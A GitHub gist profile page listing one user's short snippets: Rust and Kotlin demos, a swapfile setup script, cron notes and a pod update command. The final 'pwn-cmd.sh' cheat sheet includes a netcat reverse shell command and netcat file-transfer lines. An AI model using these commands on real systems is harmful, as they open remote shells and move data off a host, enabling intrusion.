Skip to content

Instantly share code, notes, and snippets.

View jonathanwork's full-sized avatar

Jonathan Lopez jonathanwork

View GitHub Profile
@jonathanwork
jonathanwork / demo.rs
Created April 11, 2024 20:05
running simple demos
// use anyhow::Error;
trait NonDis {
fn foo() where Self: Sized {}
fn returns (&self ) -> Self where Self: Sized;
fn param(&self, other: Self) where Self: Sized {}
fn typed<T> ( &self, x : T) where Self: Sized {}
}
struct S;
@jonathanwork
jonathanwork / file2.kt
Created April 11, 2024 06:38
simple notes
/**
* You can edit, run, and share this code.
* play.kotlinlang.org
*/
fun typeface() {
val greet = "hello"
println(greet)
println(greet::class)
println(greet.javaClass)
@jonathanwork
jonathanwork / vec.rs
Created April 11, 2024 06:15
more vec
// this for arrays
fn chaos () -> [i32; 5] {
let mut chaos = [3, 5 ,4, 1, 2];
chaos.sort();
chaos
}
// this is for vectors
@jonathanwork
jonathanwork / start.rs
Created April 11, 2024 05:49
simple rust programs
fn vector() -> Vec<i16> {
let mut v : Vec<i16> =
Vec::<i16>::new() ;
v.push(10i16);
v.push(20i16);
v
}
@jonathanwork
jonathanwork / swaps.sh
Created September 9, 2023 21:45
swapper for more memory
sudo fallocate -l 1G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
sudo swapon --show
sudo cp /etc/fstab /etc/fstab.bak
echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
sudo sysctl vm.swappiness=10
echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf
sudo sysctl vm.vfs_cache_pressure=50
@jonathanwork
jonathanwork / meh.sh
Created January 26, 2023 09:23
just checking
pmset -g log|grep -e " Sleep " -e " Wake " | tail -n 10
sed -i -e 's/[ \t]*//' yourfile
@jonathanwork
jonathanwork / reminders
Created October 24, 2022 00:21
reminder of cron
* * * * * command
* - minute (0-59)
* - hour (0-23)
* - day of the month (1-31)
* - month (1-12)
* - day of the week (0-6, 0 is Sunday)
command - command to execute
(from left-to-right)
@jonathanwork
jonathanwork / updates.sh
Created August 25, 2022 21:33
simple updates for pods and chinnigins
arch -x86_64 pod update
@jonathanwork
jonathanwork / pwn-cmd.sh
Created August 5, 2022 00:03 — forked from megalucio/pwn-cmd.sh
Some useful pwn commands
# Netcat simple listen
netcat -lvp [port]
# Netcat reverse shell
nc -e /bin/sh [destination] [port]
# Nectat file transfer
nc -l -p 1234 > out.file
nc -w 3 [destination] [port] < out.file